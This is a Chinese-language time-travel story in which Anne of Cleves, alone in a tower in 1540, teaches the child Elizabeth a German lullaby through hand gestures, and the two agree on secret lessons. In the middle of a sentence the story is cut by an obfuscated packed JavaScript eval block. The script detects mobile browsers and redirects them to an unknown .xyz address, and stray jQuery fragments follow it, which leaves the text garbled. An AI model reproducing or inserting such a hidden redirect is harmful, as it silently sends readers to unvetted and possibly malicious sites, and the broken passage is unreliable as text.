风在塔外，我在塔内风像一把磨快的刀，从泰晤士河面一路砍进塔窗。我把斗篷裹到鼻子，只剩手指在外——手指在发抖，不是因为冷，而是怕。怕亨利今晚又来“试婚”，怕侍女们在背后笑，更怕自己一开口就泄露出不属于这个世纪的口音。于是我哼起那首歌。母亲哄我睡时唱过，我哄自己别哭时也唱过。 “M?gdlein, kü? den Wind……” 声音低到只有我能听见，可它还是飘了出去。 ——塔楼下，一个更小的影子屏住了呼吸。伊丽莎白提着一盏偷来的猪油灯，赤脚踩在石阶上。她原本只想爬上来捡一只被风吹走的纸鸢，却听见一种陌生的语言，像羽毛拂过铁甲，软得不可思议。她仰头，看见安妮·克里夫斯背对月光，风把她的头纱撕成长长的白线。那旋律一句一句，像把钥匙，正悄悄开她的耳朵。【二】交换的谜语安妮唱完第三遍才发现楼梯口的微光。她猛地转身，差点踩到自己的裙撑。“谁？”


    “是我。”伊丽莎白把灯举高，火苗在她脸上跳动，像一颗早熟的心。安妮的第一反应是捂住嘴——她不确定刚才有没有把 21 世纪的中文嘟囔出来。


    第二反应是蹲下去，与女孩平视，仿佛高度能降低风险。“殿下，您该在寝宫。”


    “我听见风在说话。”伊丽莎白指向塔窗，“可风说的是德语。”安妮愣了半秒，突然笑了——那笑里带着逃跑多年的疲惫，也带着“终于被抓住”的轻松。


    “想学吗？”


    “比拉丁文难吗？”


    “比拉丁文自由。”于是安妮把童谣拆成四个手势：1. 双手捧脸——M?gdlein（小姑娘）2. 指尖飞吻——küss den Wind（亲亲风）3. 双臂张开——segle bis ans End（扬帆到尽头）4. 食指指向自己胸口——selbst bestimmen（自己决定）伊丽莎白照做时，风把她的发带吹跑，金发像旗帜一样猎猎作响。


    她忽然说：“如果我学会了，就能决定不嫁给我讨厌的人吗？”


    安妮的指尖停在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155897|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    半空。


    她问的是政治，我答的是人生。 【三】风的小字为了不让侍女发现，她们约定：


    ——以后每星期二、四、六，纸鸢飞上塔楼，就代表“风的小字课”开始。


    ——安妮只教一句，伊丽莎白必须带回一句拉丁文或希腊文作为“回礼”。


    ——所有歌词只能写在可水洗的亚麻布上，读完就浸进水盆，让它“回风里去”。伊丽莎白跑下塔时，把第一块亚麻布塞进袖袋。布上用炭笔写着：M?gdlein, kü? den Wind


    er tr?gt dein Herz hinfort…炭迹还没干透，指尖一抹就晕开，像偷偷长大的野心。【四】塔楼回声（日记节选）1540 年 3 月 12 日，格林威治，弃婴塔。


    我教会了一个 6 岁的女孩如何亲吻风。


    也许二十年后，她会用同一只手签署处死某位公爵的命令。


    谁知道呢？


    反正今晚，风终于站在我这边。